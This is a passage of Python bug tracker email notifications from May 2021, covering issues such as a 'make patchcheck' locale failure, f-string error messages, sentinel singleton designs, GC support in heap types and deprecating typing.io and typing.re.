(most recent call last): File "/home/antoine/cpython/default/./Tools/scripts/patchcheck.py", line 307, in main() File "/home/antoine/cpython/default/./Tools/scripts/patchcheck.py", line 267, in main base_branch = get_base_branch() File "/home/antoine/cpython/default/./Tools/scripts/patchcheck.py", line 35, in call_fxn result = fxn(*args, **kwargs) File "/home/antoine/cpython/default/./Tools/scripts/patchcheck.py", line 111, in get_base_branch return upstream_remote + "/" + base_branch TypeError: can only concatenate str (not "NoneType") to str make: *** [Makefile:2006 : patchcheck] Erreur 1 ---------- assignee: pitrou components: Demos and Tools messages: 393591 nosy: pitrou priority: normal severity: normal stage: needs patch status: open title: "make patchcheck" fails type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:22:44 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 13 May 2021 17:22:44 +0000 Subject: [issue44125] "make patchcheck" fails In-Reply-To: <1620926516.59.0.875459758344.issue44125@roundup.psfhosted.org> Message-ID: <1620926564.11.0.0914446380598.issue44125@roundup.psfhosted.org> Antoine Pitrou added the comment: The patch from bpo-44074 does not account for a possibly non-English locale and blindly greps for "HEAD branch" in a possibly localized text. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:24:48 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 13 May 2021 17:24:48 +0000 Subject: [issue44074] patchcheck checks against branch "master" not "main" In-Reply-To: <1620461112.36.0.942809733217.issue44074@roundup.psfhosted.org> Message-ID: <1620926688.32.0.683959043346.issue44074@roundup.psfhosted.org> Change by Antoine Pitrou : ---------- nosy: +pitrou nosy_count: 4.0 -> 5.0 pull_requests: +24744 pull_request: https://github.com/python/cpython/pull/26102 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:24:48 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 13 May 2021 17:24:48 +0000 Subject: [issue44125] "make patchcheck" fails In-Reply-To: <1620926516.59.0.875459758344.issue44125@roundup.psfhosted.org> Message-ID: <1620926688.25.0.287413582373.issue44125@roundup.psfhosted.org> Change by Antoine Pitrou : ---------- keywords: +patch pull_requests: +24743 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26102 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:28:48 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 13 May 2021 17:28:48 +0000 Subject: [issue37788] fix for bpo-36402 (threading._shutdown() race condition) causes reference leak In-Reply-To: <1565194972.64.0.065323919799.issue37788@roundup.psfhosted.org> Message-ID: <1620926928.56.0.359116201714.issue37788@roundup.psfhosted.org> Change by Antoine Pitrou : ---------- nosy: +pitrou nosy_count: 13.0 -> 14.0 pull_requests: +24745 pull_request: https://github.com/python/cpython/pull/26103 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:29:00 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 13 May 2021 17:29:00 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1620926940.6.0.370225519147.issue42972@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24746 pull_request: https://github.com/python/cpython/pull/26104 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:35:08 2021 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 13 May 2021 17:35:08 +0000 Subject: [issue44124] Unhelpful error messages with mis-ordering of f-string specifiers In-Reply-To: <1620920379.64.0.222926941671.issue44124@roundup.psfhosted.org> Message-ID: <1620927308.49.0.561433978344.issue44124@roundup.psfhosted.org> Eric V. Smith added the comment: As you note, some of these likely cannot be improved. There was talk last year about moving f-string's bespoke lexer/parser/compiler into the normal Python grammar. But I'm not sure if that ever got anywhere. If we did make that change, it would be easier to improve the error messages. Well, at least as easy as improving normal Python error messages. ---------- nosy: +eric.smith versions: -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:38:36 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 13 May 2021 17:38:36 +0000 Subject: [issue44123] make function parameter sentinel value true singletons In-Reply-To: <1620911826.39.0.0347354211372.issue44123@roundup.psfhosted.org> Message-ID: <1620927516.94.0.816735589219.issue44123@roundup.psfhosted.org> Tal Einat added the comment: Alternatively, sentinels can simply be classes: class Sentinel: def __new__(cls, *args, **kwargs): raise TypeError(f'{cls.__qualname__} cannot be instantiated') class MISSING(Sentinel): pass ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:45:15 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Thu, 13 May 2021 17:45:15 +0000 Subject: [issue44124] Unhelpful error messages with mis-ordering of f-string specifiers In-Reply-To: <1620920379.64.0.222926941671.issue44124@roundup.psfhosted.org> Message-ID: <1620927915.52.0.200562177292.issue44124@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I could try to give it a go to this still with the current parser, I think we could have some improvements without a lot of refactoring. Moving the whole f string to the grammar still don't ensure making this work easier unfortunately because is not clear how much backtracking the parser will require. When it requires enough backtracking, adding errors can be a pain. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:48:35 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 17:48:35 +0000 Subject: [issue44074] patchcheck checks against branch "master" not "main" In-Reply-To: <1620461112.36.0.942809733217.issue44074@roundup.psfhosted.org> Message-ID: <1620928115.06.0.548370133809.issue44074@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24750 pull_request: https://github.com/python/cpython/pull/26106 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:48:35 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 17:48:35 +0000 Subject: [issue44125] "make patchcheck" fails In-Reply-To: <1620926516.59.0.875459758344.issue44125@roundup.psfhosted.org> Message-ID: <1620928115.01.0.227405453551.issue44125@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24749 pull_request: https://github.com/python/cpython/pull/26106 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:48:29 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 17:48:29 +0000 Subject: [issue44074] patchcheck checks against branch "master" not "main" In-Reply-To: <1620461112.36.0.942809733217.issue44074@roundup.psfhosted.org> Message-ID: <1620928109.97.0.811462825351.issue44074@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24748 pull_request: https://github.com/python/cpython/pull/26105 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 13:48:29 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 17:48:29 +0000 Subject: [issue44125] "make patchcheck" fails In-Reply-To: <1620926516.59.0.875459758344.issue44125@roundup.psfhosted.org> Message-ID: <1620928109.89.0.898678654627.issue44125@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +24747 pull_request: https://github.com/python/cpython/pull/26105 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 14:09:37 2021 From: report at bugs.python.org (Ned Batchelder) Date: Thu, 13 May 2021 18:09:37 +0000 Subject: [issue43933] Regression in python3.10 with traceback frame having lineno of -1 In-Reply-To: <1619294193.93.0.370565760758.issue43933@roundup.psfhosted.org> Message-ID: <1620929377.55.0.578975843766.issue43933@roundup.psfhosted.org> Ned Batchelder added the comment: Thanks, this fixes my issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 14:14:30 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 18:14:30 +0000 Subject: [issue44125] "make patchcheck" fails In-Reply-To: <1620926516.59.0.875459758344.issue44125@roundup.psfhosted.org> Message-ID: <1620929670.48.0.142765088453.issue44125@roundup.psfhosted.org> miss-islington added the comment: New changeset 04ce4c773667b0d9d05a89aea4720f8cf84e834e by Miss Islington (bot) in branch '3.9': bpo-44125: Fix "make patchcheck" on non-English locale (GH-26102) https://github.com/python/cpython/commit/04ce4c773667b0d9d05a89aea4720f8cf84e834e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 14:14:30 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 18:14:30 +0000 Subject: [issue44074] patchcheck checks against branch "master" not "main" In-Reply-To: <1620461112.36.0.942809733217.issue44074@roundup.psfhosted.org> Message-ID: <1620929670.54.0.65005104139.issue44074@roundup.psfhosted.org> miss-islington added the comment: New changeset 04ce4c773667b0d9d05a89aea4720f8cf84e834e by Miss Islington (bot) in branch '3.9': bpo-44125: Fix "make patchcheck" on non-English locale (GH-26102) https://github.com/python/cpython/commit/04ce4c773667b0d9d05a89aea4720f8cf84e834e ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 14:15:40 2021 From: report at bugs.python.org (Jeff Moguillansky) Date: Thu, 13 May 2021 18:15:40 +0000 Subject: [issue44126] Cross Compile Cython Modules Message-ID: <1620929740.81.0.435591662331.issue44126@roundup.psfhosted.org> New submission from Jeff Moguillansky : Hi, I was able to cross-compile Python 3.9.4 for Android. How do I cross-compile cython modules? I found one tool online: https://pypi.org/project/crossenv/ but it doesn't seem to be compatible with android clang? Does cython support cross-compiling modules? ---------- components: Cross-Build messages: 393599 nosy: Alex.Willmer, jmoguill2 priority: normal severity: normal status: open title: Cross Compile Cython Modules versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 14:42:40 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 18:42:40 +0000 Subject: [issue44125] "make patchcheck" fails In-Reply-To: <1620926516.59.0.875459758344.issue44125@roundup.psfhosted.org> Message-ID: <1620931360.17.0.260227641557.issue44125@roundup.psfhosted.org> miss-islington added the comment: New changeset 336dc523a4180f99955b0fdb65e86059a1abac32 by Miss Islington (bot) in branch '3.10': bpo-44125: Fix "make patchcheck" on non-English locale (GH-26102) https://github.com/python/cpython/commit/336dc523a4180f99955b0fdb65e86059a1abac32 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 14:42:50 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 13 May 2021 18:42:50 +0000 Subject: [issue44125] "make patchcheck" fails In-Reply-To: <1620926516.59.0.875459758344.issue44125@roundup.psfhosted.org> Message-ID: <1620931370.97.0.265787926187.issue44125@roundup.psfhosted.org> Change by Antoine Pitrou : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 14:42:40 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 18:42:40 +0000 Subject: [issue44074] patchcheck checks against branch "master" not "main" In-Reply-To: <1620461112.36.0.942809733217.issue44074@roundup.psfhosted.org> Message-ID: <1620931360.21.0.253245577685.issue44074@roundup.psfhosted.org> miss-islington added the comment: New changeset 336dc523a4180f99955b0fdb65e86059a1abac32 by Miss Islington (bot) in branch '3.10': bpo-44125: Fix "make patchcheck" on non-English locale (GH-26102) https://github.com/python/cpython/commit/336dc523a4180f99955b0fdb65e86059a1abac32 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 15:30:46 2021 From: report at bugs.python.org (Mark Roseman) Date: Thu, 13 May 2021 19:30:46 +0000 Subject: [issue43504] Site linked in docs, effbot.org, down In-Reply-To: <1615849580.97.0.243341860557.issue43504@roundup.psfhosted.org> Message-ID: <1620934246.57.0.544274783244.issue43504@roundup.psfhosted.org> Mark Roseman added the comment: I'd argue for removing the links altogether, given the material is very outdated and from what I recall anything that was there is better covered now by TkDocs, Shipman, or other resources. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 16:08:18 2021 From: report at bugs.python.org (Ned Deily) Date: Thu, 13 May 2021 20:08:18 +0000 Subject: [issue44126] Cross Compile Cython Modules In-Reply-To: <1620929740.81.0.435591662331.issue44126@roundup.psfhosted.org> Message-ID: <1620936498.5.0.477563400827.issue44126@roundup.psfhosted.org> Ned Deily added the comment: This issue tracker is for issues with cPython and the Python Standard Library. Cython is a third-party project that is not part of cPython. You should ask in a Cython forum (see https://cython.org/#development) or a general forum like StackOverflow. ---------- nosy: +ned.deily resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 16:16:59 2021 From: report at bugs.python.org (Brandt Bucher) Date: Thu, 13 May 2021 20:16:59 +0000 Subject: [issue44109] missing dataclass decorator in match-statement example In-Reply-To: <1620736569.02.0.465666569793.issue44109@roundup.psfhosted.org> Message-ID: <1620937019.29.0.841122164801.issue44109@roundup.psfhosted.org> Change by Brandt Bucher : ---------- nosy: +brandtbucher _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 16:36:26 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 13 May 2021 20:36:26 +0000 Subject: [issue28146] Confusing error messages in str.format() In-Reply-To: <1473851555.69.0.998405869153.issue28146@psf.upfronthosting.co.za> Message-ID: <1620938186.85.0.848401999058.issue28146@roundup.psfhosted.org> Change by Antoine Pitrou : ---------- versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 16:43:09 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 20:43:09 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: <1620938589.3.0.33743223536.issue44114@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24752 pull_request: https://github.com/python/cpython/pull/26108 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 16:43:04 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 20:43:04 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: <1620938584.7.0.326497637799.issue44114@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24751 pull_request: https://github.com/python/cpython/pull/26107 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 16:43:15 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 20:43:15 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: <1620938595.06.0.179720861002.issue44114@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24753 pull_request: https://github.com/python/cpython/pull/26109 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 16:45:48 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 13 May 2021 20:45:48 +0000 Subject: [issue44094] Remove PyErr_Set...WithUnicodeFilename APIs In-Reply-To: <1620623222.39.0.271042914015.issue44094@roundup.psfhosted.org> Message-ID: <1620938748.22.0.155084041974.issue44094@roundup.psfhosted.org> Change by Antoine Pitrou : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed type: -> enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 16:47:45 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 13 May 2021 20:47:45 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: <1620938865.21.0.568834902038.issue44114@roundup.psfhosted.org> Change by Antoine Pitrou : ---------- versions: -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 16:49:33 2021 From: report at bugs.python.org (Henry Schreiner) Date: Thu, 13 May 2021 20:49:33 +0000 Subject: [issue8557] subprocess PATH semantics and portability In-Reply-To: <1272451494.53.0.273790888777.issue8557@psf.upfronthosting.co.za> Message-ID: <1620938973.94.0.0158672789711.issue8557@roundup.psfhosted.org> Change by Henry Schreiner : ---------- nosy: +Henry Schreiner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 16:57:08 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 20:57:08 +0000 Subject: [issue28146] Confusing error messages in str.format() In-Reply-To: <1473851555.69.0.998405869153.issue28146@psf.upfronthosting.co.za> Message-ID: <1620939428.95.0.971938663.issue28146@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 5.0 -> 6.0 pull_requests: +24754 pull_request: https://github.com/python/cpython/pull/26110 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 16:57:19 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 20:57:19 +0000 Subject: [issue28146] Confusing error messages in str.format() In-Reply-To: <1473851555.69.0.998405869153.issue28146@psf.upfronthosting.co.za> Message-ID: <1620939439.05.0.0820951045873.issue28146@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24756 pull_request: https://github.com/python/cpython/pull/26112 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 16:57:14 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 20:57:14 +0000 Subject: [issue28146] Confusing error messages in str.format() In-Reply-To: <1473851555.69.0.998405869153.issue28146@psf.upfronthosting.co.za> Message-ID: <1620939434.3.0.656449919972.issue28146@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24755 pull_request: https://github.com/python/cpython/pull/26111 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 17:07:25 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 21:07:25 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: <1620940045.17.0.805065199754.issue44114@roundup.psfhosted.org> miss-islington added the comment: New changeset 04c46101944777dd131bbfe8dbfef5f4d328860d by Miss Islington (bot) in branch '3.9': bpo-44114: Remove redundant cast. (GH-26098) https://github.com/python/cpython/commit/04c46101944777dd131bbfe8dbfef5f4d328860d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 17:07:35 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 21:07:35 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: <1620940055.04.0.437726386015.issue44114@roundup.psfhosted.org> miss-islington added the comment: New changeset c4c3beb5ad6b55c20b6dc7c6a92860f467afa75b by Miss Islington (bot) in branch '3.10': bpo-44114: Remove redundant cast. (GH-26098) https://github.com/python/cpython/commit/c4c3beb5ad6b55c20b6dc7c6a92860f467afa75b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 17:09:32 2021 From: report at bugs.python.org (Tal Einat) Date: Thu, 13 May 2021 21:09:32 +0000 Subject: [issue44123] make function parameter sentinel value true singletons In-Reply-To: <1620911826.39.0.0347354211372.issue44123@roundup.psfhosted.org> Message-ID: <1620940172.5.0.0826904867226.issue44123@roundup.psfhosted.org> Tal Einat added the comment: ... and they can be given excellent reprs by using a meta-class: class Sentinel(type): @classmethod def __prepare__(cls, name, bases, **kwds): d = super().__prepare__(name, bases, **kwds) def __new__(cls_, *args, **kwargs): raise TypeError( f'{cls_!r} is a sentinel and cannot be instantiated') d.update(__new__=__new__) return d def __repr__(cls): return f'{cls.__module__}.{cls.__qualname__}' class MISSING(metaclass=Sentinel): pass This also has another nice benefit: >>> type(MISSING) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 17:12:02 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 13 May 2021 21:12:02 +0000 Subject: [issue43952] Multiprocessing UNIX socket connection: client freeze if authkey is an empty byte string In-Reply-To: <1619523915.52.0.163488043908.issue43952@roundup.psfhosted.org> Message-ID: <1620940322.69.0.366123426868.issue43952@roundup.psfhosted.org> Change by Antoine Pitrou : ---------- versions: +Python 3.11 -Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 17:21:36 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 13 May 2021 21:21:36 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: <1620940896.86.0.090135993247.issue44114@roundup.psfhosted.org> Change by Antoine Pitrou : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 17:21:44 2021 From: report at bugs.python.org (Brandt Bucher) Date: Thu, 13 May 2021 21:21:44 +0000 Subject: [issue44109] missing dataclass decorator in match-statement example In-Reply-To: <1620736569.02.0.465666569793.issue44109@roundup.psfhosted.org> Message-ID: <1620940904.47.0.667096703.issue44109@roundup.psfhosted.org> Brandt Bucher added the comment: I don't really think there is anything wrong with the documentation. I can copy-and-paste all of the code from the PEP 634 section of the 3.10 What's New into the REPL without any issues (provided that named subjects like point/points/test_variable/color are actually defined). Note that none of the example snippets actually *create* Point instances. Rather, some of the patterns *match* Point instances... which is sort of the opposite of instantiation. As the Point class is currently written, instantiation would probably look like: >>> p = Point() >>> p.x = 0 >>> p.y = 0 Sure, it would help to have an __init__ defined in real code, but I sort of feel like adding it to this example would just distract (especially since the example doesn't actually *need* it). Thoughts from others? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 17:25:08 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 21:25:08 +0000 Subject: [issue28146] Confusing error messages in str.format() In-Reply-To: <1473851555.69.0.998405869153.issue28146@psf.upfronthosting.co.za> Message-ID: <1620941108.47.0.267542993192.issue28146@roundup.psfhosted.org> miss-islington added the comment: New changeset 2d780237d95cd3d95401f52be2edeac8b458eb68 by Miss Islington (bot) in branch '3.10': bpo-28146: Fix a confusing error message in str.format() (GH-24213) https://github.com/python/cpython/commit/2d780237d95cd3d95401f52be2edeac8b458eb68 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 17:34:43 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 13 May 2021 21:34:43 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1620941683.79.0.271827251627.issue42972@roundup.psfhosted.org> Erlend E. Aasland added the comment: I've added a checkbox for types that fully implement the GC protocol to https://discuss.python.org/t/list-of-built-in-types-converted-to-heap-types/8403/1. Heap types that fully implement the GC protocol: * _abc._abc_data * _bz2.BZ2Compressor * _bz2.BZ2Decompressor * _csv.Dialect * _csv.reader * _csv.writer * _json.Encoder * _json.Scanner * _lzma.LZMACompressor * _lzma.LZMADecompressor * _multibytecodec.MultibyteCodec * _struct.unpack_iterator * _thread._local * _thread.lock * ast.AST Heap types that do not fully implement the GC protocol: * _curses_panel.panel * _dbm.dbm * _gdbm.gdbm * _hashlib.HASH * _hashlib.HASHXOF * _lsprof.Profiler * _md5.md5 * _multibytecodec.MultibyteIncrementalDecoder * _multibytecodec.MultibyteIncrementalEncoder * _multibytecodec.MultibyteStreamReader * _multibytecodec.MultibyteStreamWriter * _overlapped.Overlapped * _queue.SimpleQueue * _random.Random * _sha1.sha1 * _sha256.sha224 * _sha256.sha256 * _sha512.sha384 * _sha512.sha512 * _sre.SRE_Scanner * _ssl.MemoryBIO * _ssl.SSLSession * _ssl._SSLContext * _ssl._SSLSocket * _struct.Struct * _thread.RLock * _thread._localdummy * _tkinter.Tcl_Obj * _tkinter.tkapp * _tkinter.tktimertoken * array.array * array.arrayiterator * functools.KeyWrapper * functools._lru_cache_wrapper * functools._lru_list_elem * functools.partial * mmap.mmap * operator.attrgetter * operator.itemgetter * operator.methodcaller * posix.DirEntry * posix.ScandirIterator * pyexpat.xmlparser * re.Match * re.Pattern * select.devpoll * select.epoll * select.kevent * select.kqueue * select.poll * sqlite3.Cache * sqlite3.Connection * sqlite3.Cursor * sqlite3.Node * sqlite3.PrepareProtocol * sqlite3.Row * sqlite3.Statement * ssl.SSLError * unicodedata.UCD * winapi__overlapped.Overlapped * zlib.Compress * zlib.Decompress ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 17:35:40 2021 From: report at bugs.python.org (miss-islington) Date: Thu, 13 May 2021 21:35:40 +0000 Subject: [issue28146] Confusing error messages in str.format() In-Reply-To: <1473851555.69.0.998405869153.issue28146@psf.upfronthosting.co.za> Message-ID: <1620941740.89.0.158516833854.issue28146@roundup.psfhosted.org> miss-islington added the comment: New changeset 133013e8a1ecd570266de766e2df9745a24343be by Miss Islington (bot) in branch '3.9': bpo-28146: Fix a confusing error message in str.format() (GH-24213) https://github.com/python/cpython/commit/133013e8a1ecd570266de766e2df9745a24343be ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 17:37:39 2021 From: report at bugs.python.org (Guido van Rossum) Date: Thu, 13 May 2021 21:37:39 +0000 Subject: [issue38291] Deprecate the typing.io and typing.re pseudo-modules In-Reply-To: <1569584917.37.0.450943031305.issue38291@roundup.psfhosted.org> Message-ID: <1620941859.39.0.358234477034.issue38291@roundup.psfhosted.org> Guido van Rossum added the comment: I agree, these namespaces were a mistake. Let's start deprecating them (and remove their mention from the docs again). ---------- versions: -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 17:39:16 2021 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 13 May 2021 21:39:16 +0000 Subject: [issue28146] Confusing error messages in str.format() In-Reply-To: <1473851555.69.0.998405869153.issue28146@psf.upfronthosting.co.za> Message-ID: <1620941956.75.0.93939181279.issue28146@roundup.psfhosted.org> Antoine Pitrou added the comment: It seems like this issue is entirely fixed now, closing. ---------- nosy: +pitrou resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.10, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 17:53:18 2021 From: report at bugs.python.org (Sebastian Rittau) Date: Thu, 13 May 2021 21:53:18 +0000 Subject: [issue38291] Deprecate the typing.io and typing.re pseudo-modules In-Reply-To: <1569584917.37.0.450943031305.issue38291@roundup.psfhosted.org> Message-ID: <1620942798.74.0.321420689981.issue38291@roundup.psfhosted.org> Change by Sebastian Rittau : ---------- keywords: +patch pull_requests: +24757 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26113 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 17:53:18 2021 From: report at bugs.python.org (Sebastian Rittau) Date: Thu, 13 May 2021 21:53:18 +0000 Subject: [issue35089] Remove typing.io and typing.re from documentation In-Reply-To: <1540726823.63.0.788709270274.issue35089@psf.upfronthosting.co.za> Message-ID: <1620942798.84.0.866192509485.issue35089@roundup.psfhosted.org> Change by Sebastian Rittau : ---------- pull_requests: +24758 pull_request: https://github.com/python/cpython/pull/26113 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 17:54:30 2021 From: report at bugs.python.org (Sebastian Rittau) Date: Thu, 13 May 2021 21:54:30 +0000 Subject: [issue38291] Deprecate the typing.io and typing.re pseudo-modules In-Reply-To: <1569584917.37.0.450943031305.issue38291@roundup.psfhosted.org> Message-ID: <1620942870.47.0.140718746337.issue38291@roundup.psfhosted.org> Sebastian Rittau added the comment: I opened a PR to remove their mention from the docs for now. I can look into how to add a deprecation warning to a module if no one else beats me to it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 18:09:54 2021 From: report at bugs.python.org (Jamie Bliss) Date: Thu, 13 May 2021 22:09:54 +0000 Subject: [issue44127] urllib.parse.ParseResult._replace() does not allow replacing username, password, hostname, port Message-ID: <1620943794.26.0.337038741401.issue44127@roundup.psfhosted.org> New submission from Jamie Bliss : As it says in the title. ._replace() (inherited from namedtuple) doesn't allow changing the generated properties. While this is a natural consequence of how ParseResult is implemented, I would describe it as a deficiency of developer experience. My work-around function for this is https://gist.github.com/AstraLuma/00e511feb1f619f407d07e968d69f36b ---------- components: Library (Lib) messages: 393614 nosy: AstraLuma priority: normal severity: normal status: open title: urllib.parse.ParseResult._replace() does not allow replacing username, password, hostname, port versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 18:12:18 2021 From: report at bugs.python.org (Jeff Moguillansky) Date: Thu, 13 May 2021 22:12:18 +0000 Subject: [issue44126] Cross Compile Cython Modules In-Reply-To: <1620936498.5.0.477563400827.issue44126@roundup.psfhosted.org> Message-ID: Jeff Moguillansky added the comment: Sorry I meant cpython. Distutils is part of cpython? Currently it doesn't seem to support cross compiling? On Thu, May 13, 2021, 1:08 PM Ned Deily wrote: > > Ned Deily added the comment: > > This issue tracker is for issues with cPython and the Python Standard > Library. Cython is a third-party project that is not part of cPython. You > should ask in a Cython forum (see https://cython.org/#development) or a > general forum like StackOverflow. > > ---------- > nosy: +ned.deily > resolution: -> third party > stage: -> resolved > status: open -> closed > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 13 18:12:35 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 13 May 2021 22:12:35 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol 